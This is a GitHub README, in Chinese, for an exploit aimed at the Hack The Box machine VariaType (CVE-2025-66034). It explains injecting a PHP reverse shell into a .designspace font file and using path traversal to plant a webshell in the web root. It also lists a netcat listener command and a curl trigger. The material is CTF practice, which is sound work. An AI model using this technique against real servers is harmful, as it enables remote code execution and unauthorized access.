jwsly12/CVE-2025-66034-htb-ctf
GitHub: jwsly12/CVE-2025-66034-htb-ctf
这是一个针对 VariaType 变体字体生成器的漏洞利用脚本,通过构造恶意 `.designspace` 文件实现远程代码执行与任意文件写入。
Stars: 0 | Forks: 0
# CVE-2025-66034-htb-ctf
# VariaType Variable Font Generator Exploit
该仓库包含用于 Hack The Box 上 **VariaType** 机器的专用漏洞利用程序。该利用程序利用 `fontTools` 库或 Web 应用程序处理 `.designspace` XML 文件和元数据插值时的漏洞,从而实现 **远程代码执行 (RCE)**。
## 📝 描述
该漏洞存在于字体生成过程中。通过构造恶意的 `designspace` 文件,我们可以将 PHP 反向 Shell 载荷注入到字体的元数据中(具体为 `` 字段)。当服务器处理这些文件以生成可变字体时,它会将输出写入用户定义的路径,从而允许我们在 Web 根目录下放置一个 `.php` shell。
## 🛠️ 功能
* **自动化字体生成**:使用 `fontTools` 创建有效的 `source-light.ttf` 和 `source-regular.ttf` 主字体。
* **XML 注入**:生成带有 CDATA 包装的 PHP 载荷的恶意 `designspace` 文件。
* **路径遍历/任意文件写入**:尝试将生成的“字体”作为 `.php` 文件保存到公共目录中。
* **随机化**:生成唯一的 shell 名称以避免冲突。
## 🚀 要求
您必须安装 Python 3 以及以下库:
```
pip install fontTools requests
```
## 💻 使用方法
### 1. 启动监听器
在您的本地机器(或 Pwnbox)上,启动一个 Netcat 监听器:
```
nc -lvnp 4444
```
### 2. 运行漏洞利用程序
通过提供您的 HTB VPN IP 和监听端口来执行脚本:
```
python3 exploit.py --ip --port 4444
```
### 3. 触发 Shell
如果上传返回 `200 OK`(或者有时即使在错误发生前进行处理也会返回 `500`),脚本将提供文件名。通过 `curl` 或您的浏览器访问它:
```
curl http://portal.variatype.htb/shell_xxxxxx.php
```
## ⚙️ 参数
| 参数 | 描述 | 默认值 |
| :--- | :--- | :--- |
| `--ip` | 您的监听器 IP (VPN) | **必需** |
| `--port` | 您的监听端口 | **必需** |
| `--path` | Shell 的目标路径 | `/var/www/portal.variatype.htb/public` |
| `--url` | 上传端点 | `http://variatype.htb/tools/.../process` |
## ⚠️ 免责声明
该脚本仅用于教育目的和授权渗透测试。未经授权访问或攻击目标是非法的。
### 如何使用此 README:
1. 将上述内容保存为 `README.md`,并放在与脚本相同的文件夹中。
2. 确保您的脚本命名为 `exploit.py`,或者更新上述命令中的文件名。
标签:Apache-2.0, CISA项目, CVE, CVE-2025-66034, .designspace, Exploit, fontTools, Hack The Box, PHP反弹Shell, Python, RCE, Reverse Shell, VariaType, WebShell, XML Injection, XML注入, 任意文件写入, 字体生成器, 数字签名, 无后门, 编程工具, 网络安全, 路径遍历, 远程代码执行, 逆向工具, 隐私保护